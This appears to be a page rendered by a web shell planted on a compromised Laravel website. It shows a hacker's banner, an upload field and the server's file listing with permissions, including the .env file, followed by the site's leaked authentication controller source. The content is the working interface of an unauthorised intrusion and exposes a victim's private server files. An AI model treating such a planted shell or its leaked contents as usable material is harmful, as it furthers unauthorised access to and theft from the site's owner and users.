I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
basic_settings = BasicSettingsProvider::get(); } /** * Mehtod for user login * @method POST * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Request Response */ public function login(Request $request){ $validator = Validator::make($request->all(),[ 'email' => 'required|max:40', 'password' => 'required|min:6', ]); if($validator->fails()){ $error = ['error' => $validator->errors()->all()]; return ApiResponse::validation($error); } $user = User::where('username', trim(strtolower($request->email)))->orWhere('email', $request->email)->first(); if(!$user){ $error = ['error' => [__('The credentials does not match')]]; return ApiResponse::validation($error); } $token = $user->createToken('Laravel Password Grant Client')->accessToken; $user_data = [ 'token' => $token, 'image_path' => get_files_public_path('user-profile'), 'default_image' => get_files_public_path('default'), 'user' => new UserResouce($user) ]; if(Hash::check($request->password, $user->password)){ if($user->status == 0){ $error = ['error'=>[__('Account Has been Suspended')]]; return ApiResponse::validation($error); }elseif($user->email_verified == 0){ $user_authorize = UserAuthorization::where("user_id",$user->id)->first(); $resend_code = generate_random_code(); $user_authorize->update([ 'code' => $resend_code, 'created_at' => now(), ]); $data = $user_authorize->toArray(); $user->notify(new SendAuthorizationCode((object) $data)); $message = ['success' => [__('Please check email and verify your account')]]; return ApiResponse::success($message, $user_data); } $this->refreshUserWallets($user); $this->createLoginLog($user); $message = ['success' => [__('Login Successful')]]; return ApiResponse::success($message,$user_data); }else{ $error = ['error'=>[__('The credentials does not match')]]; return ApiResponse::error($error); } } /** * Mehtod for user register * @method POST * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Request Response */ public function register(Request $request){ $basic_settings = $this->basic_settings; $passowrd_rule = "required|string|min:6"; if($basic_settings->secure_password) { $passowrd_rule = ["required",Password::min(8)->letters()->mixedCase()->numbers()->symbols()->uncompromised()]; } $agree_policy = $this->basic_settings->agree_policy == 1 ? 'required|in:on' : 'nullable'; $validator = Validator::make($request->all(), [ 'first_name' => 'required|string|max:50', 'last_name' => 'required|string|max:50', 'email' => 'required|email|max:160|unique:users', 'password' => $passowrd_rule, 'policy' => $agree_policy, ]); if($validator->fails()){ $error = ['error'=>$validator->errors()->all()]; return ApiResponse::validation($error); } $validated = $validator->validated(); //User Create $validated = Arr::except($validated,['agree']); $validated['firstname'] = $validated['first_name']; $validated['lastname'] = $validated['last_name']; $validated['email_verified'] = ($basic_settings->email_verification == true) ? 0 : 1; $validated['kyc_verified'] = 0; $validated['sms_verified'] = 0; $validated['status'] = 1; $validated['password'] = Hash::make($validated['password']); $validated['username'] = make_username($validated['first_name'],$validated['last_name']); $user = User::create($validated); $token = $user->createToken('Laravel Password Grant Client')->accessToken; $this->createUserWallets($user); if ($basic_settings->email_verification == true) { $data = [ 'user_id' => $user->id, 'code' => generate_random_code(), 'token' => generate_unique_string("user_authorizations","token",200), 'created_at' => now(), ]; DB::beginTransaction(); try{ UserAuthorization::where("user_id",$user->id)->delete(); DB::table("user_authorizations")->insert($data); $user->notify(new SendAuthorizationCode((object) $data)); DB::commit(); }catch(Exception $e) { DB::rollBack(); $error = ['error'=>[__('Something went wrong! Please try again')]]; return ApiResponse::error($error); } } if ($basic_settings->email_verification == 1 && $basic_settings->email_notification == 1) { $message = ['success' => [__('Please check email and verify your account')]]; } else { $message = ['success' => [__('Registration successful')]]; } $data = [ 'token' => $token, 'image_path' => get_files_public_path('user-profile'), 'default_image' => get_files_public_path('default'), 'user' => new UserResouce($user) ]; return ApiResponse::success($message, $data); } }